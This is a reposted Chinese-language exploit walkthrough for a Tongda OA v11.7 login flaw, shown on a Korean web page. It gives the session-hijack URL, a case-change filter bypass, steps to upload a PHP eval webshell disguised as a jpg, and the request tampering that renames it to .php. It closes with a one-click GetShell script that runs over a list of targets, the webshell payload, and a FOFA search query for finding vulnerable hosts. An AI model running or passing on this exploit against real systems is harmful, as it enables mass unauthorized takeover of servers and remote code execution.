목차
通达OA v11.7 在线用户登录漏洞复现
访问漏洞页面获取phpsession
访问后台页面:
查看本地的绝对路径
新建一个附件目录
添加图片目录
上传木马
查看木马路径
修改木马后缀
拼接木马路径
一键GetShell脚本
운영 및 유지보수 안전 Tongda OA v11.7에서 온라인 사용자 로그인 취약점 재발을 인식하는 방법

Tongda OA v11.7에서 온라인 사용자 로그인 취약점 재발을 인식하는 방법

Jun 03, 2023 am 08:13 AM
oa

通达OA v11.7 在线用户登录漏洞复现

一个类似于越权的漏洞,但是利用的方式确实比较特殊

访问漏洞页面获取phpsession

http://x.x.x.x/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
로그인 후 복사

怎么实现通达OA v11.7 在线用户登录漏洞复现

可以看到我们已经获取到了phpsession,这个时候我们就可以访问他的后台页面了,但是如果页面显示RELOGIN说明存在漏洞但是管理员现在不在线,所以需要等他在线。

访问后台页面:

http://x.x.x.x/general/
로그인 후 복사

怎么实现通达OA v11.7 在线用户登录漏洞复现

查看本地的绝对路径

怎么实现通达OA v11.7 在线用户登录漏洞复现

新建一个附件目录

怎么实现通达OA v11.7 在线用户登录漏洞复现

怎么实现通达OA v11.7 在线用户登录漏洞复现

这里需要注意:我们要添加一个路径为系统目录后面跟上webroot,但是webroot会被过滤,但是他没有检查大小写,所以我们改为Webroot就可以轻松绕过。

添加图片目录

怎么实现通达OA v11.7 在线用户登录漏洞复现怎么实现通达OA v11.7 在线用户登录漏洞复现

这里唯一需要注意的是我们需要将发布范围里添加一个系统管理员,这样子才可以,路径的话呢还是webroot那个路径。

上传木马

怎么实现通达OA v11.7 在线用户登录漏洞复现

然后我们添加一个文件,也就是我们的shell

怎么实现通达OA v11.7 在线用户登录漏洞复现

这里需要注意的是,我们需要将我们的木马改为jpg后缀的,要不路径无法查看。

查看木马路径

怎么实现通达OA v11.7 在线用户登录漏洞复现怎么实现通达OA v11.7 在线用户登录漏洞复现

这个时候记住这个文件名称,这个路径是固定的就是file_folder/2013下面就是我们的木马。

修改木马后缀

回到我们之前的上传页面,然后点击编辑。

怎么实现通达OA v11.7 在线用户登录漏洞复现

鼠标放到我们木马上面,然后点击重命名。

我们会打开一个新的tab页面,我们使用火狐进行抓包:

先随便改个名字,点击保存,然后会拦截到一个post封包。

数据包格式大概是这个样子:

NEW_FILE_NAME=166&CONTENT_ID=118&FILE_SORT=2&ATTACHMENT_ID=2925%402103_1578257970&ATTACHMENT_NAME_POSTFIX=jpg&ATTACHMENT_NAME=2.jpg&FIRST_ATTACHMENT_NAME=2&FILE_NAME_OLD=2.jpg
로그인 후 복사

我们需要将ATTACHMENT_NAME_POSTFIX属性修改为php(注意要加一个点)来完成这个步骤

然后重放这个数据包,就可以看到修改成功。

拼接木马路径

怎么实现通达OA v11.7 在线用户登录漏洞复现

可以看到我们修改成功。

然后找到之前的文件名,然后将我们上传的原始的文件名(2.jpg)改为(166.php),这个是根据你上传的路径以及改的名称来定的,然后路径的话呢还是file_folder/2013,我们就可以访问到我们的马子了。

一键GetShell脚本

脚本代码:

#define payload = /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
#define yinhao = "
#define Rootre = <td nowrap class="TableData">(.*?)</td>
#define contentidre = "TableLine1" index="(.*?)" >
#define attachmentidre = ATTACHMENT_ID_OLD" value="(.*?),"
#define shellpathre = alt="(.*?)" node-image-tips
function GetCookie(url){
	res = HttpGet(url.payload,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");
	if(StrFindStr(res[1],"PHPSESSID",0) == "-1"){
		return "";
	}
	PHPSESSID = GettextMiddle(res[1],"PHPSESSID=",";");
	return PHPSESSID;
}
function JudgeOK(url,Cookie){
	res = HttpGet(url."/general/",Cookie);
	if(StrFindStr(res[0],"/static/js/ba/agent.js",0) == "-1"){
		return "0";
	}else{
		return "1";
	}

}
function GetRoot(content){
	list = StrRe(content,Rootre);
	num = GetArrayNum(list);
	num = num/2;
	i = 0;
	while(i<num){
		if(StrFindStr(list[ToInt(i*2+1)],":\",0) != "-1"){
			return list[ToInt(i*2+1)];
		}
		i = i+1;
	}
	return "";
}
function GetWebRoot(url,Cookie){
	res = HttpGet(url."/general/system/reg_view/",Cookie);
	return GetRoot(res[0]);
}
function AddPath(url,Root,Cookie){
	return HttpPost(url."/general/system/attachment/position/add.php","POS_ID=166&POS_NAME=166&POS_PATH=".URLEncode(Root."\WebRoot")."&IS_ACTIVE=on",Cookie);
}
function AddImgPath(url,Root,Cookie){
	return HttpPost(url."/general/system/picture/new/submit.php","TO_ID=&TO_NAME=&PRIV_ID=&PRIV_NAME=&ampCOPY_TO_ID=admin%2C&ampCOPY_TO_NAME=%CF%B5%CD%B3%B9%DC%C0%ED%D4%B1%2C&PIC_NAME=test&PIC_PATH=".URLEncode(Root."\webRoot")."&ROW_PIC=5&ROW_PIC_NUM=7",Cookie);
}
function PushImg(url,Content,Cookie){
	return HttpPost(url."/general/file_folder/new/submit.php",Content,Cookie.StrRN()."Content-Type: multipart/form-data; boundary=---------------------------33072116513621237124579432636");
}
function GetPICID(url,Cookie){
	res = HttpGet(url."/general/picture/tree.php?CUR_DIR=&PIC_ID=&_=1615284234507",Cookie);
	return GettextMiddle(res[0],"&PIC_ID=",yinhao);
}
function GetImg(url,Root,Cookie){
	res = HttpGet(url."/general/picture/picture_view.php?SUB_DIR=2103&PIC_ID=".GetPICID(url,Cookie)."&CUR_DIR=".URLEncode(StrReplace(Root,"\\","/"))."%2Fwebroot%2Ffile_folder%2F2103",Cookie);
	list = StrRe(res[0],shellpathre);
	num = GetArrayNum(list);
	num = num/2;
	i = 0;
	while(i<num){
		if(StrFindStr(list[ToInt(i*2+1)],"1.jpg",0) != "-1"){
			return list[ToInt(i*2+1)];
		}
		i = i+1;
	}
	return "";
}
function ChangeImgName(url,CONTENT,ATTACHMENT,Cookie){
	return HttpPost(url."/general/file_folder/rename_submit.php","NEW_FILE_NAME=166&CONTENT_ID=".CONTENT."&FILE_SORT=2&ATTACHMENT_ID=".URLEncode(ATTACHMENT)."&ATTACHMENT_NAME_POSTFIX=php.&ATTACHMENT_NAME=1.jpg&FIRST_ATTACHMENT_NAME=1&FILE_NAME_OLD=1.jpg",Cookie);
}
function GetCONTENTID(url,Cookie){
	res = HttpGet(url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0",Cookie);
	list = StrRe(res[0],contentidre);
	if(GetArrayNum(list) >= 2){
		return list[1];
	}
	return "";
}
function GetATTACHMENTID(url,CONTENTID,Cookie){
	res = HttpGet(url."/general/file_folder/edit.php?FILE_SORT=2&SORT_ID=0&CONTENT_ID=".CONTENTID."&start=0",Cookie.StrRN()."Referer: ".url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0");
	list = StrRe(res[0],attachmentidre);
	if(GetArrayNum(list) >= 2){
		return list[1];
	}
	return "";
}
function GetShell(url){
	PHPSESSID = GetCookie(url);
	if(PHPSESSID == ""){
		return "";
	}
	Cookie = "Cookie: PHPSESSID=".PHPSESSID.";".StrRN()."User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0";
	if(JudgeOK(url,Cookie)=="1"){
		WebRoot = GetWebRoot(url,Cookie);
		AddPath(url,WebRoot,Cookie);
		AddImgPath(url,WebRoot,Cookie);
		ShellPost = ReadFile("script\综合漏洞\OAShell.txt");
		PushImg(url,ShellPost,Cookie);
		path = GetImg(url,WebRoot,Cookie);
		CONTENTID = GetCONTENTID(url,Cookie);
		ATTACHMENTID=GetATTACHMENTID(url,CONTENTID,Cookie);
		ChangeImgName(url,CONTENTID,ATTACHMENTID,Cookie);
		realshellpath = url."/file_folder/2103/".StrReplace(path,"1.jpg","166.php");
		print("Shell路径:",realshellpath,"密码:test");
	}else{
		return "";
	}
}
function main(args){
	print("请输入要要检测的列表文件:");	
	list = StrSplit(ReadFile(input()),StrRN());
	i = 0;
	num = GetArrayNum(list);
	while(i < num){
		url=list[ToInt(i)];
		print("当前检测的连接:".url);
		GetShell(url);
		i=i+1;
	}
	print("检测完毕");
}
로그인 후 복사

OAShell.txt:

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="SUBJECT"

166.jpg
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="CONTENT_NO"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="TD_HTML_EDITOR_CONTENT"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="KEYWORD"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="NEW_NAME"

н¨Îĵµ
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="NEW_TYPE"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_1"; filename=""
Content-Type: application/octet-stream


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACH_NAME"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACH_DIR"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="DISK_ID"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_1000"; filename=""
Content-Type: application/octet-stream


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_DESC"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="CONTENT_ID"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="OP"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="PD"

1
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="SORT_ID"

0
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_ID_OLD"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_NAME_OLD"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="FILE_SORT"

2
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="USE_CAPACITY"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="USE_CAPACITY_SIZE"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="SHARE_USER"


-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_0"; filename="1.jpg"
Content-Type: image/jpeg

<?php @eval($_POST[&#39;test&#39;]); ?>
-----------------------------33072116513621237124579432636--
로그인 후 복사

放一张例子截图:

怎么实现通达OA v11.7 在线用户登录漏洞复现

附一个fofa语句:

app="TDXK-通达OA"
로그인 후 복사

위 내용은 Tongda OA v11.7에서 온라인 사용자 로그인 취약점 재발을 인식하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

Video Face Swap

Video Face Swap

완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)